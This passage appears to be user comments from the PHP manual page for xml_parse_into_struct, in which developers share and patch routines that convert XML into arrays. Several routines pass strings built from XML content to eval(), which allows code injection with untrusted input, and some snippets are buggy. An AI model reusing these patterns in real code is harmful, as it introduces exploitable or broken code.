    xml_parse_into_struct($p, $xml, $values, $index);
    xml_parser_free($p);
    for ($i=0;$i<count($values);$i++) {
        if (isset($values[$i]['attributes'])) {
            $parent = $values[$i]['tag'];
            $keys = array_keys($values[$i]['attributes']);
            for ($z=0;$z<count($keys);$z++)
            {
                $content[$parent][$i][$keys[$z]] = $values[$i]['attributes'][$keys[$z]];
                if (isset($content[$parent][$i]['VALUE'])) $content[$parent][$i]['VALUE'] = $values[$i]['value'];
            }
        }
    }
    foreach ($content as $key => $values) {
        $content[$key] = array_values($content[$key]);
    }
    if (is_array($content)) return $content;
    else return false;
}
?>
webmaster at unitedscripters dot com 16-Jul-2006 05:29
Ps keep in mind that some Rss feeds include spurious tags as... html entities (see Google news Rss feeds: they include tables as &lt;table blah blah!).

If so, in my rssSnapper below add this:

<?php
$input=preg_replace("/(<!\\[CDATA\\[)|(\\]\\]>)/", '', $input);
$input=html_entity_decode($input); //<-- added line
?>

You may play around with the code and make it perfect, testing it on various feeds. Not _all_ XML is worth of an XML parser and the sleepless nights it entails.
efredricksen at gmail dot com 24-May-2006 12:55
Perhaps the one true parser:? I modified xademax's fine code to tidy it up, codewise and style wise, rationalize some minor crazyness, and make names fit nomenclature from the XML spec. (There are no uses of eval, and shame on you people who do.)

<?php
class XmlElement {
  var $name;
  var $attributes;
  var $content;
  var $children;
};

function xml_to_object($xml) {
  $parser = xml_parser_create();
  xml_parser_set_option($parser, XML_OPTION_CASE_FOLDING, 0);
  xml_parser_set_option($parser, XML_OPTION_SKIP_WHITE, 1);
  xml_parse_into_struct($parser, $xml, $tags);
  xml_parser_free($parser);

  $elements = array();  // the currently filling [child] XmlElement array
  $stack = array();
  foreach ($tags as $tag) {
    $index = count($elements);
    if ($tag['type'] == "complete" || $tag['type'] == "open") {
      $elements[$index] = new XmlElement;
      $elements[$index]->name = $tag['tag'];
      $elements[$index]->attributes = $tag['attributes'];
      $elements[$index]->content = $tag['value'];
      if ($tag['type'] == "open") {  // push
        $elements[$index]->children = array();
        $stack[count($stack)] = &$elements;
        $elements = &$elements[$index]->children;
      }
    }
    if ($tag['type'] == "close") {  // pop
      $elements = &$stack[count($stack) - 1];
      unset($stack[count($stack) - 1]);
    }
  }
  return $elements[0];  // the single top-level element
}

// For example:
$xml = '
<parser>
   <name language="en-us">Fred Parser</name>
   <category>
       <name>Nomenclature</name>
       <note>Noteworthy</note>
   </category>
</parser>
';
print_r(xml_to_object($xml));
?>

will give:

xmlelement Object
(
    [name] => parser
    [attributes] =>
    [content] =>
    [children] => Array
        (
            [0] => xmlelement Object
                (
                    [name] => name
                    [attributes] => Array
                        (
                            [language] => en-us
                        )

                    [content] => Fred Parser
                    [children] =>
                )

            [1] => xmlelement Object
                (
                    [name] => category
                    [attributes] =>
                    [content] =>
                    [children] => Array
                        (
                            [0] => xmlelement Object
                                (
                                    [name] => name
                                    [attributes] =>
                                    [content] => Nomenclature
                                    [children] =>
                                )

                            [1] => xmlelement Object
                                (
                                    [name] => note
                                    [attributes] =>
                                    [content] => Noteworthy
                                    [children] =>
                                )

                        )

                )

        )

)
Stuart 23-May-2006 03:26
This is a great little function for a lot of XML work, but note that this function does not handle XML entities properly.

The basic XML entities &lt; &gt; &amp; &quot; are fine, just anything else will not work:

If the entity is defined in the XML header, the parser will drop it completely from the struct it creates.

If the entity is not defined in the XML then the parser will crash out with an undefined entity error.

You should be able to work around this limitation by using a preg_replace on your XML string before passing it to the parser.

(Further details in Bug #35271; this is just a warning to those thinking of using this function for parsing real XML documents not just trivial XML examples)
donna at coloma dot com 28-Apr-2006 12:15
I needed a very simple parser for a set of name-value pairs to be stored in a single database field. I started with the mold example, paired it down, picked up the "id" attributes. Perhaps it will be useful for someone else.

<?php
/* simple conversion for name-value fields */

$xmlInput = "<?xml version=\"1.0\"?>
<mcw_settings>
  <field id=\"imageAlign\">left</field>
  <field id=\"caption\">What a nice picture.</field>
</mcw_settings>";

$desiredResult = array (
    'imageAlign' => "left",
    'caption' => "What a nice picture."
);

function parseFields ($data)
{
    // read the XML database of fields
    $parser = xml_parser_create();
    xml_parser_set_option($parser, XML_OPTION_CASE_FOLDING, 0);
    xml_parser_set_option($parser, XML_OPTION_SKIP_WHITE, 1);
    xml_parse_into_struct($parser, $data, $values, $tags);
    xml_parser_free($parser);
    $fields = null;

    // loop through the structures
    $fieldIndices = $tags['field'];
    for ( $i=0; $i < count($fieldIndices); $i++ ) {
        $fieldInfo = $values[$fieldIndices[$i]];
        $fields[$fieldInfo['attributes']['id']] = $fieldInfo['value'];
    }
    return $fields;
}

$test = parseFields($xmlInput);
echo "** Result:\n";
print_r($test);
?>
matt at australiangamer dot com 02-Apr-2006 07:58
I liked VampBoy's code as it gave me structure pretty much as I wanted it. Just two notes, though:

There is a bug in this code. subdivide() checks for pre-existing values, but not in the case of a "complete" element.

In the following (appallingly bad) XML

<Names>
<Name>Matt</Name>
<Name>Stacy</Name>
<Names>

Only Stacy is added to Names in the array, wiping Matt in the process.

To fix this replace the following code
<?php
elseif ($dat[level] === $level && $dat[type] === "complete"){
   $newarray[$dat[tag]]=$dat[value];
}
?>
with
<?php
elseif ($dat[level] === $level && $dat[type] === "complete"){
     if (isset($newarray[$dat['tag']]) && is_array($newarray[$dat['tag']])){
          $newarray[$dat['tag']][] = $dat['value'];
     } elseif (isset($newarray[$dat['tag']]) && !is_array($newarray[$dat['tag']])){
          $newarray[$dat['tag']] = array($newarray[$dat['tag']], $dat['value']);
     } else {
          $newarray[$dat['tag']]=$dat['value'];
     }
}?>

Oh, also, note that the $dat[level], etc, WILL generate warnings, and should be more correctly written as $dat['level'].

The other thing I thought I should point out is that the array keys when created using xml_parse_into_struct will be an UPPERCASE version of your existing element names. If case is important, especially if you, like me, need mixedCase, do the following:

<?php
$xml_parser = xml_parser_create();
xml_parser_set_option($xml_parser,XML_OPTION_CASE_FOLDING,0);
?>
xademax at gmail dot com 08-Jan-2006 12:15
This is just another simple xml parser :)

<?php

class Xml
{
    var $tag;
    var $value;
    var $attributes;
    var $next;
}

function xml2array($xml_string)
{
    $Parser = xml_parser_create();
    xml_parser_set_option($Parser, XML_OPTION_CASE_FOLDING, 0);
    xml_parser_set_option($Parser, XML_OPTION_SKIP_WHITE, 1);
    xml_parse_into_struct($Parser, $xml_string, $Xml_Values);
    xml_parser_free($Parser);
    $XmlClass = array();
    $LastObj = array();
    $NowObj = &$XmlClass;

    foreach($Xml_Values as $Xml_Key => $Xml_Value)
    {
        $Index = count($NowObj);
        if($Xml_Value["type"] == "complete")
        {
            $NowObj[$Index] = new Xml;
            $NowObj[$Index]->tag = $Xml_Value["tag"];
            $NowObj[$Index]->value = $Xml_Value["value"];
            $NowObj[$Index]->attributes = $Xml_Value["attributes"];
        }
        elseif($Xml_Value["type"] == "open")
        {
            $NowObj[$Index] = new Xml;
            $NowObj[$Index]->tag = $Xml_Value["tag"];
            $NowObj[$Index]->value = $Xml_Value["value"];
            $NowObj[$Index]->attributes = $Xml_Value["attributes"];
            $NowObj[$Index]->next = array();
            $LastObj[count($LastObj)] = &$NowObj;
            $NowObj = &$NowObj[$Index]->next;
        }
        elseif($Xml_Value["type"] == "close")
        {
            $NowObj = &$LastObj[count($LastObj) - 1];
            unset($LastObj[count($LastObj) - 1]);
        }

    }

    return $XmlClass;
}

$String = "
<parser>
    <parseur_name>MyParser</parseur_name>
    <category>
        <name>Name 1</name>
        <note>A note 1</note>
    </category>
</parser>
";
$Xml = xml2array($String);

print_r($Xml);
?>

This exemple will show :
Array
(
    [0] => Xml Object
        (
            [tag] => parser
            [value] =>
            [attributes] =>
            [next] => Array
                (
                    [0] => Xml Object
                        (
                            [tag] => parseur_name
                            [value] => MyParser
                            [attributes] =>
                            [next] =>
                        )

                    [1] => Xml Object
                        (
                            [tag] => category
                            [value] =>
                            [attributes] =>
                            [next] => Array
                                (
                                    [0] => Xml Object
                                        (
                                            [tag] => name
                                            [value] => Name 1
                                            [attributes] =>
                                            [next] =>
                                        )

                                    [1] => Xml Object
                                        (
                                            [tag] => note
                                            [value] => A note 1
                                            [attributes] =>
                                            [next] =>
                                        )

                                )

                        )

                )

        )

)
VampBoy 14-Dec-2005 02:45
WHUPS! that was a broken test version.here is the real one:

class xml2array{
/* This class parses XML tags into a recursive, associative array with the tags as the associative array elements names.

if it encounters multiples of the same tag within a stream, it enumerates them as a sub array under the tag thus:

Array (
    [Lvl1tag] => Array (
        [0] => Array(
            [Lvl2tag] = "foo")
        [1]=> Array(
            [Lvl2tag] = "bar")
    )
)

It tries to detect when there is only one copy of a tag under another, and concatinate properly.
*/

    function readxmlfile($xmlfile){ // reads XML file in and returns it
      $xmlstream =fopen($xmlfile,r);
      $xmlraw=fread($xmlstream,1000000);
      fclose($xmlstream);
      return $xmlraw;
    }

    function parseXMLintoarray ($xmldata){ // starts the process and returns the final array
      $xmlparser = xml_parser_create();
      xml_parse_into_struct($xmlparser, $xmldata, $arraydat);
      xml_parser_free($xmlparser);
      $semicomplete = $this->subdivide($arraydat);
      $complete = $this->correctentries($semicomplete);
      return $complete;
    }

    function subdivide ($dataarray, $level = 1){
      foreach ($dataarray as $key => $dat){
        if ($dat[level] === $level && $dat[type] === "open"){
          $toplvltag = $dat[tag];
        } elseif ($dat[level] === $level && $dat[type] === "close" && $dat[tag]=== $toplvltag){
          $newarray[$toplvltag][] = $this->subdivide($temparray,($level +1));

          unset($temparray,$nextlvl);
        } elseif ($dat[level] === $level && $dat[type] === "complete"){
          $newarray[$dat[tag]]=$dat[value];
        } elseif ($dat[type] === "complete"||$dat[type] === "close"||$dat[type] === "open"){
          $temparray[]=$dat;
        }
      }
      return $newarray;
    }
function correctentries($dataarray){

if (is_array($dataarray)){
  $keys =  array_keys($dataarray);
  if (count($keys)== 1 && is_int($keys[0])){
    $tmp = $dataarray[0];
    unset($dataarray[0]);
       $dataarray = $tmp;
  }
  $keys2 = array_keys($dataarray);
  foreach($keys2 as $key){
    $tmp2 = $dataarray[$key];
    unset($dataarray[$key]);
    $dataarray[$key] = $this->correctentries($tmp2);
    unset($tmp2);
  }
  }
return $dataarray;
}
}
mbirth at webwriters dot de 08-Nov-2005 03:48
Searching for a nice and working way to get a RSS feed into an array-structure, I found the solution posted by kieran but disliked those several eval()s. So I wrote my own using references/pointers.

<?php

class RSSParser {

  var $struct = array();  // holds final structure
  var $curptr;  // current branch on $struct
  var $parents = array();  // parent branches of current branch

  function RSSParser($url) {
    $this->curptr =& $this->struct;  // set ref to base
    $xmlparser = xml_parser_create();
    xml_set_object($xmlparser, $this);
    xml_set_element_handler($xmlparser, 'tag_open', 'tag_close');
    xml_set_character_data_handler($xmlparser, 'cdata');
    $fp = fopen($url, 'r');

    while ($data = fread($fp, 4096))
      xml_parse($xmlparser, $data, feof($fp))
      || die(sprintf("XML error: %s at line %d",
         xml_error_string(xml_get_error_code($xmlparser)),
         xml_get_current_line_number($xmlparser)));

    fclose($fp);
    xml_parser_free($xmlparser);
  }

  function tag_open($parser, $tag, $attr) {
    $i = count($this->curptr['children']);
    $j = count($this->parents);
    $this->curptr['children'][$i]=array();  // add new child element
    $this->parents[$j] =& $this->curptr;  // store current position as parent
    $this->curptr =& $this->curptr['children'][$i];  // submerge to newly created child element
    $this->curptr['name'] = $tag;
    if (count($attr)>0) $this->curptr['attr'] = $attr;
  }

  function tag_close($parser, $tag) {
    $i = count($this->parents);
    if ($i>0) $this->curptr =& $this->parents[$i-1];  // return to parent element
    unset($this->parents[$i-1]);  // clear from list of parents
  }

  function cdata($parser, $data) {
    $data = trim($data);
    if (!empty($data)) {
      $this->curptr['value'] .= $data;
    }
  }

}

$myparser = new RSSParser('getitems.xml');
$anotherparser = new RSSParser('http://johndoe:secret@myfeeds.com/getfeed.xml');

print_r($myparser->struct);
print_r($anotherparser->struct);

?>
kieran at kieran dot ca 20-Oct-2005 09:20
<?
/*
|
| _xml2array - another abstraction layer on xml_parse_into_struct
|              that returns a nice nested array.
|
|      @param: $xml is a string containing a full xml document
|
|     returns: a nested php array that looks like this:
|
|              array
|              (
|                  [_name] => the name of the tag
|                  [_attributes] => an array of 'attribute'=>'value' combos
|                  [_value] => the text contents of the node
|                  [_children] => an array of these arrays, one for each node.
|              )
|
|       notes: thanks to 'jeffg at activestate dot com' who inspired
|              me to essentially re-write his example code from php.net
|
|           me: Kieran Huggins < kieran[at]kieran[dot]ca >
|
*/
function _xml2array($xml){
    global $keys;
    global $level;
    if(!is_array($xml)){ // init on first run
        $raw_xml = $xml;
        $p = xml_parser_create();
        xml_parser_set_option($p, XML_OPTION_CASE_FOLDING, 0);
        xml_parser_set_option($p, XML_OPTION_SKIP_WHITE, 1);
        xml_parse_into_struct($p, $raw_xml, $xml, $idx);
        xml_parser_free($p);
    }
    for($i=0;$i<count($xml,1);$i++){
        // set the current level
        $level = $xml[$i]['level'];

        if($level<1)break;

        // mark this level's tag in the array
        $keys[$level] = '['.$i.']';

        // if we've come down a level, sort output and destroy the upper level
        if(count($keys)>$level) unset($keys[count($keys)]);

        // ignore close tags, they're useless
        if($xml[$i]['type']=="open" || $xml[$i]['type']=="complete"){

            // build the evalstring
            $e = '$output'.implode('[\'_children\']',$keys);

            // set the tag name
            eval($e.'[\'_name\'] = $xml[$i][\'tag\'];');

            // set the attributes
            if($xml[$i]['attributes']){
                eval($e.'[\'_attributes\'] = $xml[$i][\'attributes\'];');
            }

            // set the value
            if($xml[$i]['value']){
                eval($e.'[\'_value\'] = trim($xml[$i][\'value\']);');
            }

        }

    }

    return $output;
}
?>
Chris Hester 28-Jul-2005 05:06
The array generated from XML stores not only the elements but also any spaces and linebreaks between the tags. This results in a much longer array. (I had 24 array fields instead of 10!) To cure this use the following code when creating the parser:

<?php
$xml_parser = xml_parser_create();
xml_parser_set_option($xml_parser,XML_OPTION_SKIP_WHITE,1);
?>
grusin at gmail dot com 19-Jul-2005 11:54
Here is a simple patch to peter's xml2array function.

Replace:

<?
case 'open':
$tag_or_id = (array_key_exists ('attributes', xml_elem)) ? $xml_elem['attributes']['ID'] : $xml_elem['tag'];
$ptrs[$level][$tag_or_id] = array ();
$ptrs[$level+1] = & $ptrs[$level][$tag_or_id];
break;
?>

with:

<?
case 'open':
$tag_or_id = (array_key_exists ('attributes', $xml_elem)) ? $xml_elem['attributes']['ID'] : $xml_elem['tag'];
$ptrs[$level][$tag_or_id][] = array ();
$ptrs[$level+1] = & $ptrs[$level][$tag_or_id][count($ptrs[$level][$tag_or_id])-1];
break;
?>

and now code should handle multiple element case :)
Dustin 13-Jul-2005 08:39
If you happen to have problems with weird charaters, I added this code to the first line of dUDA's function:

$XML = utf8_decode($XML);
PhF at madmac dot fr 23-Jun-2005 01:11
The code previously posted by noob at noobsrule dot com doesn't work when the same tag name is used at different levels.
(but perhaps "$php_used_prefix" was intended for that ?)
For example:
<RatedShipment>
  <TransportationCharges>
    ...
  </TransportationCharges>
  <RatedPackage>
    <TransportationCharges>
      ...
    </TransportationCharges>
  </RatedPackage>
</RatedShipment>
<?php
    $p = xml_parser_create();
    xml_parser_set_option($p, XML_OPTION_CASE_FOLDING, 0);
    xml_parser_set_option($p, XML_OPTION_SKIP_WHITE, 1);
    xml_parse_into_struct($p, $UPSxml, $values, $idx);
    xml_parser_free($p);

    // tracking used keys
    $usedKeys = array();
    $deepLevel = -1;

    // start a php array string (evaluated later)
    $forEvalPrefix = '$xml_array';

    // loop throught the value array
    foreach ($values as $key => $val) {
        $tagName = $val['tag']; // pass the key tag into a more friendly looking variable
        $level = $val['level']; // idem
        if($val['type'] == 'open') {
            $deepLevel++; // increase deep level
            $forEvalPrefix .= '[\''. $tagName .'\']';

            // begin used keys checks to allow multidimensionatity under the same tag
            (isset($usedKeys[$level][$tagName])) ? $usedKeys[$level][$tagName]++ : $usedKeys[$level][$tagName] = 0;
            $forEvalPrefix .= '['. $usedKeys[$level][$tagName] .']';
        }
        if($val['type'] == 'complete') {
            ($level > $deepLevel) ? $deepLevel++ : ''; // increase $deepLevel only if current level is bigger
            $tagValue = addslashes($val['value'] ); // format the value for evaluation as a string
            $forEvalSuffix = '[\''. $tagName .'\'] = \''. $tagValue .'\';'; // create a string to append to the current prefix
            $forEval = $forEvalPrefix . $forEvalSuffix; // (without "$php_used_prefix"...)
            eval($forEval); // write the string to the array structure
        }
        if($val['type'] == 'close') {
            unset($usedKeys[$deepLevel]); // Suppress tagname's keys useless
            $deepLevel--;
            $forEvalPrefix = substr($forEvalPrefix, 0, strrpos($forEvalPrefix, '[')); // cut off the used keys node
            $forEvalPrefix = substr($forEvalPrefix, 0, strrpos($forEvalPrefix, '[')); // cut off the end level of the array string prefix
        }
    }
echo '<pre>';
print_r ($xml_array);
echo '</pre>';
?>

MADmac ;-)
peter at elemental dot org 15-Jun-2005 08:46
Quick addendum to my post below... The code does *not* handle cases where multiple elements are used without attribute IDs, as is the case with the moldb example.  (It is probably worth noting that some of the other code below doesn't do this either, and is still more complex.)

It is not difficult to add that functionality, but I have yet to find an elegant way to integrate that feature, and since I don't need that functionality at the moment, I'm going leave that as an exercise to the reader.  ;-)

-p.
peter at elemental dot org 14-Jun-2005 04:09
Some of the code posted previously seemed absurdly complex, so I thought I'd see if I could simplify things a bit. Here's what I came up with.  (I'm still a PHP newbie, so perhaps I simplified too much.  ;-)  Untested for speed, but it *should* be pretty quick since it uses references instead of lookups or (gack) evals.

Enjoy!

/*
 *  Convert a string containing XML into a nested array
 *
 *  Takes a raw XML string as input
 *  Returns a nested array
 */

function xml2array ($xml_data)
{
    // parse the XML datastring
    $xml_parser = xml_parser_create ();
    xml_parse_into_struct ($xml_parser, $xml_data, $vals, $index);
    xml_parser_free ($xml_parser);

    // convert the parsed data into a PHP datatype
    $params = array();
    $ptrs[0] = & $params;
    foreach ($vals as $xml_elem) {
        $level = $xml_elem['level'] - 1;
        switch ($xml_elem['type']) {
        case 'open':
            $tag_or_id = (array_key_exists ('attributes', $xml_elem)) ? $xml_elem['attributes']['ID'] : $xml_elem['tag'];
            $ptrs[$level][$tag_or_id] = array ();
            $ptrs[$level+1] = & $ptrs[$level][$tag_or_id];
            break;
        case 'complete':
            $ptrs[$level][$xml_elem['tag']] = (isset ($xml_elem['value'])) ? $xml_elem['value'] : '';
            break;
        }
    }

    return ($params);

}
gleber at mapnet dot pl 26-Mar-2005 03:03
XMLtoArray created by dudus at onet dot pl was not good enough for me, that's why i decided to create my own version, and here's the result:

<?php

function &last(&$array) {
if (!count($array)) return null;
end($array);
return $array[key($array)];
}

function myParseXML(&$vals, &$dom, &$lev) {
    do {
        $curr = current($vals);
        $lev = $curr['level'];
        switch ($curr['type']) {
            case 'open':
                if (isset($dom[$curr['tag']])) {
                    $tmp = $dom[$curr['tag']];
                    if (!$tmp['__multi'])
                        $dom[$curr['tag']] = array('__multi' => true, $tmp);
                    array_push($dom[$curr['tag']], array());
                    $new =& last($dom[$curr['tag']]);
                } else {
                    $dom[$curr['tag']] = array();
                    $new =& $dom[$curr['tag']];
                }
                next($vals);
                myParseXML(&$vals, $new, $lev);
                break;
            case 'cdata':
                break;
            case 'complete':
                if (!isset($dom[$curr['tag']]))
                    $dom[$curr['tag']] = $curr['value'];
                else {
                    if (is_array($dom[$curr['tag']]))
                        array_push($dom[$curr['tag']] , $curr['value']);
                    else
                        array_push($dom[$curr['tag']] = array($dom[$curr['tag']]) , $curr['value']);
                }
                break;
            case 'close':
                return;
        }
    }
    while (next($vals)!==FALSE);
}

function MyXMLtoArray($XML) {
       $xml_parser = xml_parser_create();
       xml_parse_into_struct($xml_parser, $XML, $vals);
       xml_parser_free($xml_parser);
       reset($vals);
       $dom = array(); $lev = 0;
       myParseXML($vals, $dom, $lev);
       return $dom;
}

?>

MyXMLtoArray() is that function you should call, other are for "internal" use.

P.S. It's 4-5 time faster then dudus at onet dot pl 's code
noob at noobsrule dot com 24-Jan-2005 10:59
This is my first time contributing but I found all the examples either didn't work or were beyond my comprehension.  I also wanted to maintain the XML multi-dimensionality so I could do loops based on keys I was expecting rather than numbers or some other whatnot.  This script is probably way inefficient, but should give you a multidimensional array with a depth that will match the XML source.  Great for situations when you aren't sure what you'll be getting back.  Its also only based on the values array of xml_parse_into_str() using the 3 tag types (open, complete, and close) -- hopefully it will make more sense to other noobs.

Basically it just constructs a string ($php_prefix) that is tweaked if it hits an "open" or "close" tag and evaluated if it hits a "complete" tag.

Thanks.

<?php

# initiate curl session...
$ch = curl_init( "http://yourtargethost" ) or die ( "could not initialize curl" );

# set curl options...
curl_setopt( $ch, CURLOPT_HEADER, 0 );
curl_setopt( $ch, CURLOPT_POST, 1 );
curl_setopt( $ch, CURLOPT_POSTFIELDS, $request_str );
curl_setopt( $ch, CURLOPT_FOLLOWLOCATION, 0 );
curl_setopt( $ch, CURLOPT_REFERER, https://foobar.com" );
curl_setopt( $ch, CURLOPT_RETURNTRANSFER, 1 );

# execute curl commands...
$curl_result = curl_exec( $ch ) or die ( "could not execute the post" );
curl_close( $ch ); // close curl session

# pass the XML result into 2 arrays ( index and values )...
$p = xml_parser_create();
xml_parser_set_option($p, XML_OPTION_CASE_FOLDING, 0);
xml_parser_set_option($p, XML_OPTION_SKIP_WHITE, 1);
xml_parse_into_struct($p, $curl_result, $vals, $index);
xml_parser_free($p);

# create an empty used key tracker...
$used_keys = array();

# start a php array string (evaluated later)...
$php_prefix = "$"."my_array";

# loop through the values array...
foreach ($vals as $key => $val) {
    if( $val['type'] == "open" ) {
        $my_tag = $val['tag']; // pass the key tag into a more friendly looking variable...
        $php_prefix .= "['".$my_tag."']"; # add a new level to the array string...

        # begin used key checks to allow multidimensionality under the same tag, adds a number to the prefix if necessary...
        if( ! array_key_exists( $my_tag, $used_keys ) ) {
            $used_keys[$my_tag] = 0;
            $php_prefix .= "[".$used_keys[$my_tag]."]";
        }else {
            $used_keys[$my_tag]++; // increment the key tracker to avoid overwriting existing key...
            $php_prefix .= "[".$used_keys[$my_tag]."]";
        }
    } elseif( $val['type'] == "complete" ) {
        $my_value = addslashes( $val['value'] ); # format the value for evaluation as a string...
        $php_suffix = "['".$val['tag']."'] = \"".$my_value."\";"; # create a string with the tag and value to append to the current prefix (just used here)...
        $php_str = $php_prefix.$php_used_prefix.$php_suffix;
        eval( $php_str ); # write the string to the array structure...
    }
    if( $val['type'] == "close" ) {
        $php_prefix = substr( $php_prefix, 0, strrpos( $php_prefix, "[" ) ); # cut off the used keys node...
        $php_prefix = substr( $php_prefix, 0, strrpos( $php_prefix, "[" ) ); # cut off the end level of the array string prefix...
    }
}

echo "<pre>";
//print_r ($index);
//echo "<br><br><br>";
//print_r ($vals);
//echo "<br><br><br>";
print_r ($my_array);
echo "</pre>";

?>
dudus at onet dot pl 18-Jan-2005 06:33
This function return array from XML. Included attributes and tags in same level.
I wrote this function based on mmustafa code.

enjoy!
dUDA

-------------------------------

<?
function XMLtoArray($XML)
{
    $xml_parser = xml_parser_create();
    xml_parse_into_struct($xml_parser, $XML, $vals);
    xml_parser_free($xml_parser);
    // wyznaczamy tablice z powtarzajacymi sie tagami na tym samym poziomie
    $_tmp='';
    foreach ($vals as $xml_elem)
    {
        $x_tag=$xml_elem['tag'];
        $x_level=$xml_elem['level'];
        $x_type=$xml_elem['type'];
        if ($x_level!=1 && $x_type == 'close')
        {
            if (isset($multi_key[$x_tag][$x_level]))
                $multi_key[$x_tag][$x_level]=1;
            else
                $multi_key[$x_tag][$x_level]=0;
        }
        if ($x_level!=1 && $x_type == 'complete')
        {
            if ($_tmp==$x_tag)
                $multi_key[$x_tag][$x_level]=1;
            $_tmp=$x_tag;
        }
    }
    // jedziemy po tablicy
    foreach ($vals as $xml_elem)
    {
        $x_tag=$xml_elem['tag'];
        $x_level=$xml_elem['level'];
        $x_type=$xml_elem['type'];
        if ($x_type == 'open')
            $level[$x_level] = $x_tag;
        $start_level = 1;
        $php_stmt = '$xml_array';
        if ($x_type=='close' && $x_level!=1)
            $multi_key[$x_tag][$x_level]++;
        while($start_level < $x_level)
        {
              $php_stmt .= '[$level['.$start_level.']]';
              if (isset($multi_key[$level[$start_level]][$start_level]) && $multi_key[$level[$start_level]][$start_level])
                  $php_stmt .= '['.($multi_key[$level[$start_level]][$start_level]-1).']';
              $start_level++;
        }
        $add='';
        if (isset($multi_key[$x_tag][$x_level]) && $multi_key[$x_tag][$x_level] && ($x_type=='open' || $x_type=='complete'))
        {
            if (!isset($multi_key2[$x_tag][$x_level]))
                $multi_key2[$x_tag][$x_level]=0;
            else
                $multi_key2[$x_tag][$x_level]++;
             $add='['.$multi_key2[$x_tag][$x_level].']';
        }
        if (isset($xml_elem['value']) && trim($xml_elem['value'])!='' && !array_key_exists('attributes',$xml_elem))
        {
            if ($x_type == 'open')
                $php_stmt_main=$php_stmt.'[$x_type]'.$add.'[\'content\'] = $xml_elem[\'value\'];';
            else
                $php_stmt_main=$php_stmt.'[$x_tag]'.$add.' = $xml_elem[\'value\'];';
            eval($php_stmt_main);
        }
        if (array_key_exists('attributes',$xml_elem))
        {
            if (isset($xml_elem['value']))
            {
                $php_stmt_main=$php_stmt.'[$x_tag]'.$add.'[\'content\'] = $xml_elem[\'value\'];';
                eval($php_stmt_main);
            }
            foreach ($xml_elem['attributes'] as $key=>$value)
            {
                $php_stmt_att=$php_stmt.'[$x_tag]'.$add.'[$key] = $value;';
                eval($php_stmt_att);
            }
        }
    }
     return $xml_array;
}    // END XMLtoArray
?>
memandeemail at gmail dot com 03-Dec-2004 04:32
If you have de XML:
<?xml version="1.0" encoding="iso-8859-1"?>
<teste>
    <teste>
        <teste>
        </teste>
    </teste>
</teste>

this function will return this tags:
Array
(
    [teste] => Array
        (
            [0] => 0
            [1] => 1
            [2] => 2
            [3] => 3
            [4] => 4
        )

)

With this function (right below) will convert the struc to OPEN and CLOSE concept.

The New Struct:
Array
(
    [teste] => Array
        (
            [0] => 0
            [1] => 4
            [2] => 1
            [3] => 3
            [4] => 2
        )

)
The Function:

<?php
/**
 * @return bool
 * @param xml_array $values
 * @param xml_array[reference] $tags
 * @desc Reconstruct xml_parse_into_struct
*/
function reconstruct_tag($values, &$tags) {
    unset($return);
    foreach ($tags as $tkey => $tvalue) {
        foreach ($tvalue as $vvalue) {
            if ($values[$vvalue]['type'] == 'open' or $values[$vvalue]['type'] == 'complete') {
                $return[$tkey][] = $vvalue;
            }
            if ($values[$vvalue]['type'] == 'open') {
                foreach ($tvalue as $tv_value) {
                    if ($values[$tv_value]['type'] == 'close'
                    and $values[$tv_value]['level'] == $values[$vvalue]['level']
                    and $tv_value > $vvalue) {
                        $return[$tkey][] = $tv_value;
                        break;
                    }
                }
            }
        }
    }
    $tags = $return;
    return (bool) $tags;
}
?>

Ahh, DO NOT forget this comment:

jukkaho at mail dot student dot oulu dot fi
29-Jun-2004 12:17
Everyone seems to forget the return value of this function (including people making examples!), but it is there for a reason:
0 if failed (invalid XML), 1 if succeeded.

Return value really is an integer, be careful with those === operators.
rob at digital hyphen crocus dot com 03-Sep-2004 09:21
I wrote this function in a bad mood, to get some data you can loop through. sprint_r or var_dump its output to see what it does. It's not pretty, but at least you can loop through the data without a LOT of hassle.

This can also be done with handlers, but I couldn't be bothered with global variables.

<?php

$data = xml_parse_into_struct($somexml);

function xml_getmeaningfuldata($data) {
foreach($data as $element) {
        if ($element['type'] == "open") {
                if (!$elementnos[$parents.$element['tag']]) {
                        $elementnos[$parents.$element['tag']] = 1;
                }
                $elements[$parents.$element['tag'].":". $elementnos[$parents.$element['tag']]]['attributes'] = $element['attributes'];
                $elements[$parents.$element['tag'].":". $elementnos[$parents.$element['tag']]]['value'] = trim($element['value']);
                $parents .= $element['tag'].":".$elementnos[$parents.$element['tag']]."^";
        }
        if ($element['type'] == "cdata") {
                if (trim($element['value'])) {
                        $elements[$parents.$element['tag'].":". $elementnos[$parents.$element['tag']]]['values'] = $element['value'];
                }
        }
        if ($element['type'] == "complete") {
                if (!$elementnos[$parents.$element['tag']]) {
                        $elementnos[$parents.$element['tag']] = 1;
                }
                $elements[$parents.$element['tag'].":". $elementnos[$parents.$element['tag']]]['attributes'] = $element['attributes'];
                $elements[$parents.$element['tag'].":". $elementnos[$parents.$element['tag']]]['value'] = trim($element['value']);
                $elementnos[$parents.$element['tag']]++;
        }
        if ($element['type'] == "close") {
                $parents = substr($parents, 0, strrpos(substr($parents, 0, -1), "^")+1);
                $elementnos[$parents.$element['tag']]++;
//              if (sizeof($parents) == 1) unset($parents);
        }
}

return $elements;

}
happyseb at free dot fr 24-Aug-2004 08:51
I would just add something about the solution proposed by "gordon at kanazawa dot ac dot jp".

Something went wrong about the fact that "cdata" are treated the same way as "complete" in the xml_get_children first and in the xml_get_child then.

When ?
with this method, something like this :
<tagA>
  <tagB>valueB</tagB>
  valueA
  <tagC>valueC</tagC>
</tagA>
is considered as the same thing as
<tagA>
  <tagB>valueB</tagB>
  <tagA>valueA</tagA>
  <tagC>valueC</tagC>
</tagA>

The algorithm is nomore bijective.

Even if it might not be perfect :-) i propose a little modification of the xml_get_child function :

function xml_get_child(&$v, $children=NULL) {
      $c = array(); // the "child"
      if (isset($v['tag']) && $v['type'] != 'cdata') $c['tag'] = $v['tag'];
      if (isset($v['value'])) $c['value'] = $v['value'];
      if (isset($v['attributes'])) $c['attributes'] = $v['attributes'];
      if (is_array($children)) $c['children'] = $children;
      return $c;
}

moreover, the following function will take the tree (made from the xml_get_tree function) as a parameter and build the xml content back

    /*
    // setTree
    // set xml Tree from a well-formed array
    // manage indentation
    // Parameters are :
    // $1 (needed) : Tree to transform
    // $2 (optional) : Indentation type (default is one tabulation)
    // $3 (optional) : First indent (default is empty string)
    */

    function setTree($Atree, $indentType = '    ', $Sindent = '')
    {
      if (! isset ($Atree['tag']) && isset ($Atree['value'])) return ($Sindent.trim($Atree['value'])."\r\n") ;
